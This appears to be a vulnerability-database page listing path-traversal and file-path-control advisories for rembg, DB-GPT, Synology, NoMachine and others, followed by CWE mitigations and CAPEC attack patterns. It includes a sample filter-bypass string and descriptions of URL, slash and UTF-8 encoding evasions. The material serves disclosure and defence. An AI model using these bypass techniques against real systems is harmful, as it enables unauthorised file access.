Allowlist\n\nIf custom models must be supported via HTTP:\n\n```python\nimport os\n\nALLOWED_MODEL_DIRS = [\n os.path.expanduser(\"~/.u2net\"),\n \"/app/models\", # or your designated model directory\n]\n\ndef validate_model_path(path: str) -\u003e str:\n \"\"\"Validate model path is within allowed directories.\"\"\"\n abs_path = os.path.abspath(os.path.expanduser(path))\n \n for allowed_dir in ALLOWED_MODEL_DIRS:\n allowed_abs = os.path.abspath(allowed_dir)\n if abs_path.startswith(allowed_abs + os.sep):\n return abs_path\n \n raise ValueError(f\"model_path must be within allowed directories\")\n```\n\n### Option 3: Document Security Considerations\n\nAt minimum, add security warnings to the documentation:\n\n```markdown\n\u26a0\ufe0f **Security Warning**: When running `rembg s` in production:\n- Do NOT expose the server directly to the internet\n- Use a reverse proxy with authentication\n- Consider disabling custom model support\n```\n\n---\n\n## References\n\n- **CWE-22**: [Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html)\n- **CWE-73**: [External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n- **OWASP Path Traversal**: [Path Traversal Attack](https://owasp.org/www-community/attacks/Path_Traversal)\n\n---",
"id": "GHSA-3wqj-33cg-xc48",
"modified": "2026-04-10T20:00:12Z",
"published": "2026-04-10T20:00:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/danielgatis/rembg/security/advisories/GHSA-3wqj-33cg-xc48"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40086"
},
{
"type": "WEB",
"url": "https://github.com/danielgatis/rembg/commit/7c76d3cdc5757ffbda6a76664b24cfbecdb80273"
},
{
"type": "PACKAGE",
"url": "https://github.com/danielgatis/rembg"
},
{
"type": "WEB",
"url": "https://github.com/danielgatis/rembg/releases/tag/v2.0.75"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Rembg has a Path Traversal via Custom Model Loading"
}
GHSA-3XQ5-X4FJ-RFF7
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 16:13In eosphoros-ai/db-gpt version v0.6.0, the web API POST /v1/personal/agent/upload is vulnerable to Arbitrary File Upload with Path Traversal. This vulnerability allows unauthorized attackers to upload arbitrary files to the victim's file system at any location. The impact of this vulnerability includes the potential for remote code execution (RCE) by writing malicious files, such as a malicious __init__.py in the Python's /site-packages/ directory.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "dbgpt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-10902"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-21T16:13:54Z",
"nvd_published_at": "2025-03-20T10:15:21Z",
"severity": "CRITICAL"
},
"details": "In eosphoros-ai/db-gpt version v0.6.0, the web API `POST /v1/personal/agent/upload` is vulnerable to Arbitrary File Upload with Path Traversal. This vulnerability allows unauthorized attackers to upload arbitrary files to the victim\u0027s file system at any location. The impact of this vulnerability includes the potential for remote code execution (RCE) by writing malicious files, such as a malicious `__init__.py` in the Python\u0027s `/site-packages/` directory.",
"id": "GHSA-3xq5-x4fj-rff7",
"modified": "2025-03-21T16:13:54Z",
"published": "2025-03-20T12:32:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10902"
},
{
"type": "PACKAGE",
"url": "https://github.com/eosphoros-ai/DB-GPT"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/f7fbf76e-aa1c-4106-b007-e9579f4f7d5f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "DB-GPT vulnerable to Arbitrary File Upload with Path Traversal"
}
GHSA-42VR-8WV2-VG62
Vulnerability from github – Published: 2025-02-13 09:31 – Updated: 2025-02-13 09:31Improper limitation of a pathname to a restricted directory ('Path Traversal') vulnerability in encrypted share umount functionality in Synology Active Backup for Business before 2.7.1-13234, 2.7.1-23234 and 2.7.1-3234 allows remote authenticated users to write specific files via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2024-47265"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-13T07:15:10Z",
"severity": "MODERATE"
},
"details": "Improper limitation of a pathname to a restricted directory (\u0027Path Traversal\u0027) vulnerability in encrypted share umount functionality in Synology Active Backup for Business before 2.7.1-13234, 2.7.1-23234 and 2.7.1-3234 allows remote authenticated users to write specific files via unspecified vectors.",
"id": "GHSA-42vr-8wv2-vg62",
"modified": "2025-02-13T09:31:26Z",
"published": "2025-02-13T09:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47265"
},
{
"type": "WEB",
"url": "https://www.synology.com/en-global/security/advisory/Synology_SA_25_02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-437F-4378-PMH4
Vulnerability from github – Published: 2025-04-08 18:34 – Updated: 2025-04-08 18:34External control of file name or path in Azure Portal Windows Admin Center allows an unauthorized attacker to disclose information locally.
{
"affected": [],
"aliases": [
"CVE-2025-29819"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-08T18:16:07Z",
"severity": "MODERATE"
},
"details": "External control of file name or path in Azure Portal Windows Admin Center allows an unauthorized attacker to disclose information locally.",
"id": "GHSA-437f-4378-pmh4",
"modified": "2025-04-08T18:34:57Z",
"published": "2025-04-08T18:34:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29819"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29819"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4399-FG4G-454C
Vulnerability from github – Published: 2026-04-11 03:30 – Updated: 2026-04-11 03:30NoMachine External Control of File Path Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of NoMachine. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
The specific flaw exists within the handling of command line parameters. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of root. Was ZDI-CAN-28630.
{
"affected": [],
"aliases": [
"CVE-2026-5054"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-11T01:16:17Z",
"severity": "HIGH"
},
"details": "NoMachine External Control of File Path Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of NoMachine. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the handling of command line parameters. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of root. Was ZDI-CAN-28630.",
"id": "GHSA-4399-fg4g-454c",
"modified": "2026-04-11T03:30:30Z",
"published": "2026-04-11T03:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5054"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-248"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-442R-XFQW-MRMH
Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-05-24 19:18There are multiple API function codes that permit reading and writing data to or from files and directories, which could lead to the manipulation and/or the deletion of files.
{
"affected": [],
"aliases": [
"CVE-2021-38477"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-22T12:15:00Z",
"severity": "CRITICAL"
},
"details": "There are multiple API function codes that permit reading and writing data to or from files and directories, which could lead to the manipulation and/or the deletion of files.",
"id": "GHSA-442r-xfqw-mrmh",
"modified": "2022-05-24T19:18:39Z",
"published": "2022-05-24T19:18:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38477"
},
{
"type": "WEB",
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-292-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-448F-WW7H-5M58
Vulnerability from github – Published: 2022-08-29 20:06 – Updated: 2022-09-02 00:01The Export All URLs WordPress plugin before 4.4 does not validate the path of the file to be removed on the system which is supposed to be the CSV file. This could allow high privilege users to delete arbitrary file from the server
{
"affected": [],
"aliases": [
"CVE-2022-2638"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-29T18:15:00Z",
"severity": "MODERATE"
},
"details": "The Export All URLs WordPress plugin before 4.4 does not validate the path of the file to be removed on the system which is supposed to be the CSV file. This could allow high privilege users to delete arbitrary file from the server",
"id": "GHSA-448f-ww7h-5m58",
"modified": "2022-09-02T00:01:02Z",
"published": "2022-08-29T20:06:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2638"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/70840a72-ccdc-4eee-9ad2-874809e5de11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-48VC-F2FV-XXQR
Vulnerability from github – Published: 2026-03-10 18:31 – Updated: 2026-03-10 18:31A vulnerability has been identified in SICAM SIAPP SDK (All versions < V2.1.7). The affected application performs file deletion without properly validating the file path or target. An attacker could delete files or sockets that the affected process has permission to remove, potentially resulting in denial of service or service disruption.
{
"affected": [],
"aliases": [
"CVE-2026-25605"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-10T18:18:37Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in SICAM SIAPP SDK (All versions \u003c V2.1.7). The affected application performs file deletion without properly validating the file path or target. An attacker could delete files or sockets that the affected process has permission to remove, potentially resulting in denial of service or service disruption.",
"id": "GHSA-48vc-f2fv-xxqr",
"modified": "2026-03-10T18:31:21Z",
"published": "2026-03-10T18:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25605"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-903736.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.